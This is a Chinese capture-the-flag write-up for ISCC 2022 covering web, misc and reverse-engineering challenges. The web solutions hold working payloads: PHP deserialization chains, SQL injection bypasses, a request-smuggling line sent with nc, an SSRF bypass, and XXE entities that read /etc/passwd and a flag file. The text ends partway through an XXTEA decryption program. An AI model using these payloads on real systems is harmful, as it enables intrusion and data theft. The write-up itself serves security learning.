iami233
iami233
文章133
标签35
分类4
ISCC 2022 赛题WP

ISCC 2022 赛题WP

河南提交Writeup时间已过,今天把自己整理的WP发出来,今年和去年相比解出了更多的题,也认识了一些师傅。

WEB

冬奥会

你来参加2022届冬奥会,想知道冬奥会的主办方想告诉你什么吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);

if(is_array($info)){

var_dump($info);

is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}

if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?>

开头使用 json_decode 要求 year 不能是数字,其次就是数组 count ,也就是长度必须是 3,然后在绕绕 array_search 就行了,简单的一批。

payload

1
{"year":"a","items":[0,[1,0,1],2]}

Pop2020

大家好,我是pip美,我的朋友pop子出现了一些问题,你们能帮我找到pop子出了什么问题吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

原题(NISACTF2022 - POPchain):https://fjnusec.cn/2022/03/29/NISACTF2022-Official-WP/#POPchain


1
2
3
4
5
6
__construct   当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发

题目存在 include 变量,可以尝试控制 $value 通过伪协议读取文件,那也就是是需要触发 _invoke

那么,哪里可以将对象调用为函数呢,我们可以看到有

1
2
3
public function __get($key){
$function = $this->effort;
return $function();

这里可以看到通过 _get 方法使得 p 这个对象被调用为 函数

可以看到,_get 方法属于 Make_a_Change 类,那么如何调用 Make_a_Change 类呢

从头看,首先 serialize 会触发 __wakeup()

wakeup() 方法通过 preg_match()$this->page 做字符串比较,如果 $this->pageRoad_is_Long 类,就调用了 toString() 方法;

又因为如果 $stringpage 属性难以访问,则会调用 _get

如果 $stringTest 类,则不存在 page 属性

因此可以有POP链:

1
Try_Work_Hard::__invoke()<--Make_a_Change::__get()<--Road_is_Long::__toString()

1
2
3
4
5
6
// 流程
Road_is_Long:__wakeup.page
$page = new Road_is_Long
$string = new Make_a_Change
$effort = new Try_Work_Hard
$var='php://filter/read=convert.base64-encode/resource=flag.php';

构造EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long{
public $page;

public $string;
}
class Make_a_Change{

public $effort;
}

$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();

$a -> page=$b;
$b -> string=$c;
$c -> effort =$d;

echo urlencode(serialize($a));

payload

1
O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D

Easy-SQL

Beaxia的邮箱地址忘记了,你能帮忙找找吗?

试了一下,id=8 时提示 Can you find beaxia's email? ,所以是找 用户8 的邮箱地址,sqlmap跑不出来,最后手注出来了。

1
http://59.110.159.206:7010/?id=-8 union table emails limit 7,1

image-20220503185547189

请求后返回了一个 ypHeMPardErE.zip@beaxia.cn 我们直接访问 http://59.110.159.206:7010/ypHeMPardErE.zip 得到网站源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}

if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd']))
{

$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);

if ( !sqlWaf($passwd) )
die('damn hacker');

$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>

payload

1
2
3
username=-1' union select 1,'admin',2#&passwd=2
-------------------------------------------------
username=admin1' union select 'admin','admin','admin'#&passwd=admin

让我康康!

阿伟说他藏flag超勇的,彬彬托你帮他找出阿伟藏的flag

原题:http://www.hackdig.com/10/hack-519692.htm

payload

1
echo "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

爱国敬业好青年-2

这位爱国敬业好青年在哪呢?

image-20220518170818750

根据题干和题目得知要提交位置坐标,这题又和 爱国敬业好青年-1有关联,虽然一直是 0 解,但不影响我解开这题,上一题中有张天安门的图片,直接提交天安门的坐标试试。

img

1
2
3
4
5
6
7
8
9
<div style="text-align: center;width: 100%;height: 100%;position: absolute;top: -0px;left: -0px;z-index: 1">
<form class="form" id="a-form" method='POST' action="flag">
<b style="font-size: 15px"> </b><br>
<label>Latitude:</label><input style="margin-left: 20px;width: 110px" type="text" name="lati" required> <br>
<label>Langtitude: </label><input style="width: 110px;margin-left: 5px" type="text" name="langti" required><br>
<button type="submit" id='true_button' disabled ='true'>提交</button>
<p>经纬度示例:177°30'E, 25°33'N<a style ="border:none;cursor:default;" onclick="return false" href="info"></a>!</p>
</form>
</div>

使用题目内置的表单提交会出问题(也可能是出题人故意留的),我们直接提取出有用的信息 PSOT 请求 /flag,然后经度是 lati ,维度是 langti,直接 hackbar 发出去就行了。

一开始 hackbar 发的好好的,但是一会能出flag一会出不来flag,我麻了,直接 python 循环一百次!

1
2
3
4
5
6
7
8
9
10
11
12
import requests

data = {
'langti': '39°54′N',
'lati': '116°23′E'
}

url = 'http://59.110.159.206:8020/flag'

for i in range(0, 100):
r = requests.post(url, data=data)
print(r.text)

findme

从赛博朋克的不夜城中找到你想要的秘密吧

打开环境一张赛博朋克图片,在源代码里看到注释了 unser.php

1
2
3
4
5
6
7
8
9
10
11
12

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Where am I</title>
</head>
<body>
<img src="1.png" width="100%" height="100%"> <br>
<!--/unser.php-->
</body>
</html>

访问后得到题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;

public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}

public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}

public function yigei(){
echo 'Your output: '.$this->un4;
}

public function giao(){
@eval($this->un2);
}

public function __wakeup(){
include $this -> un2.'hint.php';
}
}

$data = $_POST['data'];
unserialize($data);

1
2
3
4
5
6
7
8
9
10
11
12
<?php
Class a{
public $un0='SplFileObject';
public $un1='php://filter/read=convert.base64-encode/resource=hint.php';
public $un2='';
public $un3='unserialize';
public $un4='';
}

$data = new a;
echo urlencode(serialize($data));
?>

1
data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后页面新增回显

1
Your output: PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7

base64解码后得到

1
2
<?php
$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
Class a{
public $un0='GlobIterator';
public $un1='f*.txt';
// 使用DirectoryIterator也行
// public $un0='DirectoryIterator';
// public $un1='glob://f*.txt';
public $un2='';
public $un3='unserialize';
public $un4='';
}

$data = new a;
echo urlencode(serialize($data));
?>

1
data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后页面新增回显

1
Your output: fA07TE_G19nde_OR1Der5r.txt

直接访问:http://59.110.159.206:8030/fA07TE_G19nde_OR1Der5r.txt 得到flag

这是一道代码审计题

遇到问题读源代码

访问题目页面显示 /index 请求后一直 404 …突然发现 cookies 有个 login 参数,直接 0 改为 1 页面显示正常了(我在Chrome需要改login参数而在Edge则直接不需要修改

image-20220518195414346

根据题目要求构建请求参数 /index?url=127.0.0.1 源代码中得到一段 base100 编码,解码后得到题目源码。

image-20220518082840858

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def geneSign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"

def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if judge_ip(hostname):
return True
return False, "You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"

def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24

def waf1(ip):
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False

def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return False

很明显是构建 SSRF ,加个 @ 绕过 waf 并把127.0.0.1 base64编码一下构造绕过 /index?url=http://@MTI3LjAuMC4x

image-20220518083052199

访问 /mti3ljaumc4x 同时按照题目要求设置好 Cookie

image-20220518083153927

测试发现存在 XXE

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user>
<name>&name;</name>
<password>&name;</password>
</user>

image-20220518083425392

直接拿到FLAG

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /mti3ljaumc4x/codelogin HTTP/1.1
Host: 59.110.159.206:8040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Cookie: login=0; a_cookie=aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==
Content-Length: 163

<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY name SYSTEM "file:///proc/self/cwd/flag.txt">]>
<user>
<name>&name;</name>
<password>&name;</password>
</user>

image-20220518082754163

MISC

单板小将苏翊鸣

在此次冬季奥运会项目中,17岁的单板小将苏翊鸣在单板项目中获得一金一银的优异成绩,打破了多年来中国队的历史最好成绩,为中国队此次冬奥之行锦上添花。

打开后俩文件 原图.png 和 加密压缩包flag.rar,很明显图片缺半截,我们直接高度改为 1000px

image-20220502111843888

多出来的像素出现了二维码,直接扫码,得到一段 unicode ,解密后得到

1
在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?

image-20220502112028976

根据提示搜索一番,得到 flag.rar 解压密码 15942 其实这种弱密码我觉得爆破更快一些2333,解压后得到flag。

image-20220502112151946

降维打击

降维打击

附件图片是《魔女之旅》中的伊蕾娜,我们用 foremost 分离出另一张图片

image-20220502112940882

然后使用 zsteg 文件名 -a 命令发现 b1,r,lsb,yx 还有一张 png 图片

image-20220502113011252

我们使用 zsteg -E 'b1,r,lsb.yx' 文件名 > flag.png 提取出这张图片

image-20220502113249665

根据图片名百度 魔女之旅 文字 找到了两篇文章

《魔女之旅》文字破解:https://www.bilibili.com/read/cv7855745

《魔女之旅》文字破解·印刷体:https://www.bilibili.com/read/cv8724055

重要的就是下面那两张图,直接对比出来相应的英文大写字母即可(眼都看瞎了),flag格式:ISCC{--****}

image-20220502113202447

image-20220502113220924

藏在星空中的诗-1

漫天的繁星也许是一首美丽的诗!(建议使用winRAR)

下载后三个附件 Stars.psdPoem.txt 和 加密压缩包Poem_is_the_Key.zip

Ps打开Stars.psd文件,图层1 不透明度改为 100,发现出来一个有箭头指向的星星

image-20220502113929472

我们直接把 Poem.txt 通过上面星星的指向顺序 13524 排列出 Poem_is_the_Key.zip 的解压密码(一定要用Winrar,其他解压软件应该不支持这种密码)。

image-20220502114123042

压缩包解密后得到一个表格

image-20220502114506034

然后把 Poem.txt 里面的星星,对照着表格中的字母敲出来,第一行为 FLAG= ,第二行为 ISCC{ ,依此对照敲出 三四五

Flag格式:ISCC{14个大写字符}

真相只有一个

misc是英文miscellaneous的前四个字母,表示有杂项、混合体、大杂烩的意思,题目思路广,模式不定,线索众多,在这些线索中有的有用有的没用,最终的真相只有一个。

打开 flag.txt 全选后发现有点像 snow,解密密码猜了一下,直接 snow.exe -C -p isccmisc flag.txt,得到flag

image-20220502132525237

小光学AI

小光同学最近在学习人工智能技术,看了周志华老师的西瓜书后,感觉自己又行了。
这次他找来了三种水果的图片:黄瓜、茄子和蘑菇,研究的第一步是区分这三种水果,将三种水果分类;第二步是图像分割,选中目标区域,目标区域指的是能够覆盖图片中水果区域的最小矩形。
做完后小光同学计算出了三种水果目标区域的像素和A,B,C(0<A,B,C<10^9),发现这些像素和可以化简到x:y:z,其中(0<x,y,z<10),你可以找到A,B,C三者的实际值之比吗(格式A:B:C)?

Flag格式:ISCC{XXX}

没学过AI,题干也没看懂直接按照题目中提到的格式生成字典爆破

1
2
3
4
5
6
7
8
9
out = []
fp = open("encode.txt", "w+", encoding="ANSI")

for i in range(1 ,10):
    for j in range(1, 10):
        for m in range(1, 10):
            for n in range(10000,100000):
                fp.write("{0}:{1}:{2}\n".format(i*n, j*n, m*n))
print("Done")

解压密码

1
370354938061725

2022冬奥会

2022冬奥会在北京举办,身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗?我只能提示你其中有一只的原型是我们的国宝哦。

这题没什么好说的,冰墩墩原型是熊猫,雪容融原型是灯笼,所以解压密码是:灯笼 解压之后记事本打开图片,得到flag

image-20220510144419395

藏在星空中的诗-2

漫天的繁星也许是另一首美丽的诗!

打开后如图所示,和 藏在星空中的诗-1 差不多,直接对照着 藏在星空中的诗-1 中的表格敲出密文。

image-20220510211223983

1
\QTTPU\QTTED\QTTPD\QTTPD\QTTKB\QTTPK\QTTFB\QTTPD\QTTFK\QTTFO\QTTKT\QTTFE\QTTKG\QTTKD\QTTFU\QTTPG\QTTDU\QTTKU\QTTPK\QTTKH

然后 QTT 批量替换为 u00,然后对照着表格进行解密。示例 QYYPU = u0049

image-20220510144818336

最后得到一段 unicode ,直接解密即可

1
\u0049\u0053\u0043\u0043\u007B\u0047\u006B\u0043\u0067\u006F\u0070\u0065\u007A\u0073\u0069\u004A\u0039\u0079\u0047\u007D

隐秘的信息

乐乐在开始做作业时,遇到了一串ZWFzeV90b19maW5kX3RoZV9mbGFn字符串,研究了一番,什么都没有发现。乐乐能找到隐秘的信息并完成作业吗?

题干中的字符串是 base64 编码,直接解密得到压缩包的解压密码 easy_to_find_the_flag ,使用 StegSolve 发现图片是 LSB 隐写(R0/G0/B0),直接复制我选中的字符串,如下所示。

image-20220511182630592

删掉右侧多余的乱码字符串,只保留左侧的16进制代码,如下所示。

1
fff495343437b6b5 4336a74507377355  23759365270796a4 e7a307dc01f8007f  fffc7e3fe00fff00 71

使用 CyberChefFrom HexTo Binary 得到一串二进制代码。

image-20220511182812500

直接把前面的 1 删掉,然后再 From Binary 转换为字符串就会出现flag。

image-20220511182949210

套中套

亲爱的CTFer走到一个巨大的盒子前,上面写满了0和1,却也看不出个所以然。仔细看了半夜,才在字缝中看出来,整个盒子都写着“套中套”……

下载附件得到俩文件 tzt.png 和加密压缩包 tzt2.zip ,打开 png 提示文件损坏,010编辑器打开在末尾发现一段 base64,解码后得到flag2: _ISCC_Zo2z

image-20220518104938144

然后很明显看到缺了文件头,直接补上 89504e470d0a1a0a0000000d ,正常打开图片…. 啥也没有。

image-20220518104500535

直接修改 高度 得到 wELC0m3_

image-20220518104743023

image-20220518104755549

尝试了各种组合,还是解不开压缩包,也得不到 flag3 在哪,最后靠学弟猜出了完整的字符串:wELC0m3_T0_tH3_ISCC_Zo2z ,使用这段字符串解压压缩包。

解压后得到一堆文件,百度了一番发现是原题(背包加密):https://ctf-wiki.org/crypto/asymmetric/knapsack/knapsack/#_9 ,直接用脚本一把梭了。

直接把解压后 pub.Keyenc.txt 文件内容填入下面的脚本中。然后使用 https://sagecell.sagemath.org/ 在线运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pubKey = 
nbit = len(pubKey)
encoded =
A = Matrix(ZZ, nbit + 1, nbit + 1)

for i in range(nbit):
A[i, i] = 1

for i in range(nbit):
A[i, nbit] = pubKey[i]

A[nbit, nbit] = -(encoded)

res = A.LLL()
for i in range(0, nbit + 1):

M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag == True:
M = ''.join(str(j) for j in M)
M = M[:-1]
M = hex(int(M, 2))[2:]
print(hex(int(M,16)))

image-20220518105636374

然后直接十六进制转字符串即可

image-20220518105713329

666

小孔同学最近新加入了一个实验室,作为一名菜鸡,每天的重要工作之一就是给大佬喊666。不过如今喊666的方式也要创新,你有什么好的办法吗?

注:本题结果X加上ISCC{}写作ISCC{X}

压缩包有伪加密,直接修复一下

image-20220525075847540

解压后得到加密压缩包 flag.rar 和 一张熊本熊的图片,使用 steghide 解密熊本熊图,密码随便试了个弱口令成功了

image-20220525081046327

得到半截 png 图片,图片高度修改为 300 得到压缩包密码 !@#$%678()_+

image-20220525081155778

image-20220525081206214

解压压缩包后得到 stream.pcapng ,看到了里面有 http 请求,我们直接导出 http 请求

image-20220525082947756

在json文件中发现一个网址

image-20220525083101751

打开 https://www.cnblogs.com/konglingdi/p/14998301.html 发现一张千与千寻的图,而且可以看到有东西一闪而过了

第七帧

1
SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==

base64解密后得到

1
HIDEkey:852 987456321 98423 98423 REALkey:xSxx

852 987456321 98423 通过手机九键键盘加密可以得出 ISCC ,大概就是下面这个意思

image-20220525085047647

第16帧

1
pQLKpP/

第26帧

1
EPmw301eZRzuYvQ==

16 帧和第26 帧拼接到一块,然后 AES 解密,密码 ISCC,得到flag

image-20220525085324875

REVERSE

Amy’s Code

代码好像有点眼熟?

ida x32 打开,直接定位到 sub_412550F5 查看伪代码。

image-20220507131421589

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
v9 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
# v9[0] - v9[19]
v9[0] = 149;
v9[1] = 169;
v9[2] = 137;
v9[3] = 134;
v9[4] = 212;
v9[5] = 188;
v9[6] = 177;
v9[7] = 184;
v9[8] = 177;
v9[9] = 197;
v9[10] = 192;
v9[11] = 179;
v9[12] = 153;
v9[13] = 163;
v9[14] = 195;
v9[15] = 137;
v9[16] = 112;
v9[17] = 189;
v9[18] = 110;
v9[19] = 184;

str1 = 'LWHFUENGDJGEFHYDHIGJ'
flag = ''
for i in range(len(str1)):
flag += chr(v9[i] - ord(str1[i])^i)
print(flag)

How_decode

只要你输入的是正确答案,程序就会告诉你,你是对的,加油

ida x64 打开,直接定位到main函数,F5` 查看伪代码。

image-20220507131502071

Encode函数v2 加密了,加密后的 v2 数组和 p_v1 数组进行比较(全部相等输出正确)

1
2
3
4
5
6
7
encode(v2, n, k);
for ( i_0 = 0; i_0 < n; ++i_0 )
{
if ( *((_DWORD *)p_v1 + i_0) != v2[i_0] )
goto LABEL_2;
}
printf("Your input is the right answer!");

通过开头这一段我们能够拿到 p_v1 数组即加密后的 v2 ,用于加密的 k 和长度 n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
n1 = 18;
v11 = 17i64;
v3 = alloca(80i64);
p_v1 = (int (*)[])(4 * (((unsigned __int64)v2 + 3) >> 2));
v4 = p_v1;
*(_DWORD *)p_v1 = 646664799;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1563984516;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 5403868;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -851615406;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1577982033;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1112569621;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -2038538024;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 89732896;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 856644365;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1143066723;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 1826125009;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 947398586;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -204891967;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1909151093;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 632925486;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 381866701;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -976384688;
*((_DWORD *)v4 + 1) = -1681924957;
k[0] = 73;
k[1] = 83;
k[2] = 67;
k[3] = 67;

进入加密函数 encode 可以看出来是一个 XXTEA加密 或者通过 findcrypt 插件也可以看出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __cdecl encode(int *v, int n, const int *key)
{
int *v4; // rax
int *v5; // rax
int y; // [rsp+8h] [rbp-18h]
int e; // [rsp+Ch] [rbp-14h]
int rounds; // [rsp+10h] [rbp-10h]
int p; // [rsp+14h] [rbp-Ch]
int sum; // [rsp+18h] [rbp-8h]
int z; // [rsp+1Ch] [rbp-4h]

rounds = 52 / n + 6;
sum = 0;
for ( z = v[n - 1]; rounds--; z = *v5 )
{
sum -= 1640531527;
e = (sum >> 2) & 3;
for ( p = 0; p < n - 1; ++p )
{
y = v[p + 1];
v4 = &v[p];
*v4 += ((y ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
z = *v4;
}
v5 = &v[n - 1];
*v5 += ((*v ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * *v) ^ (z >> 5)) + ((*v >> 3) ^ (16 * z)));
}
}

找一个解密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#define DELTA 0x9e3779b9  
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(int32_t *v, int n, int32_t const key[4])
{
int32_t y, z, sum;
signed p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}

编写解密脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <stdio.h>  
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(int32_t *v, int n, int32_t const key[4])
{
int32_t y, z, sum;
signed p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}


int main()
{
int32_t v[18];
v[0] = 2083504789;
v[1] = 863817516;
v[2] = -1246907673;
v[3] = 861360817;
v[4] = -1944023979;
v[5] = 71509067;
v[6] = -305568114;
v[7] = 1203113234;
v[8] = 39999966;
v[9] = 1408413502;
v[10] = -797353570;
v[11] = -84516483;
v[12] = 1904288836;
v[13] = 1737869011;
v[14] = 492860697;
v[15] = 2091909920;
v[16] = 1335943054;
v[17] = 125072142;
int32_t const k[4]= {0x49, 0x53, 0x43, 0x43};
int n= 18;
// n的绝对值表示v的长度,取正表示加密,取负表示解密
